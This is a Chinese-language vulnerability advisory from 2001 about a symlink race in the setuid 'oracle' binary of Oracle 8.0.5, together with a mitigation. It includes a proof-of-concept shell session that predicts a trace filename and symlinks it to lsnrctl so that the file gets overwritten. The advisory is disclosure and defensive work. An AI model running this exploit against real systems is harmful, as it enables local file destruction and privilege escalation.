发布日期：2001-08-02
更新日期：2001-08-03

受影响系统：

Oracle 8.0.5

描述：

---

Oracle 8.0.5所带的'oracle'程序缺省设置了setuid oracle属性。由于这个程序会在
环境变量'ORACLE_HOME'指定的目录下创建一个临时文件，其文件名是可以预测的。
而在创建临时文件时又没有检查文件是否存在或链接，导致本地攻击者可以覆盖任意
'oracle'用户拥有的文件。

攻击者可以造成拒绝服务攻击或者权限提升。

<*来源：Juan Manuel Pascual (pask@plazasite.com) *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Juan Manuel Pascual (pask@plazasite.com)提供了如下测试代码：


[pask@proves1 /tmp]$
[pask@proves1 /tmp]$ mkdir rdbms
[pask@proves1 /tmp]$ cd rdbms/
[pask@proves1 rdbms]$ mkdir log
[pask@proves1 rdbms]$ cd log
[pask@proves1 log]$
[pask@proves1 log]$ ls -alc
total 8
drwxrwxr-x    2 pask     pask         4096 dic 14 02:33 .
drwxrwxr-x    3 pask     pask         4096 dic 14 02:33 ..
[pask@proves1 log]$ export ORACLE_HOME=/tmp
[pask@proves1 log]$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
[pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
[pask@proves1 log]$ ls -alc
total 12
drwxrwxr-x    2 pask     pask         4096 dic 14 02:35 .
drwxrwxr-x    3 pask     pask         4096 dic 14 02:33 ..
-rw-r-----    1 oracle   pask           47 dic 14 02:35 ora_24028.trc

[pask@proves1 log]$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
..
...
....
这可能导致$REAL_ORACLE_HOME/bin/lsnrctl文件被覆盖


建议：

---

临时解决方法：

去掉oracle的suid属性：
# chmod a-s oracle

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.oracle.com/



浏览次数：3533
严重程度：0（网友投票）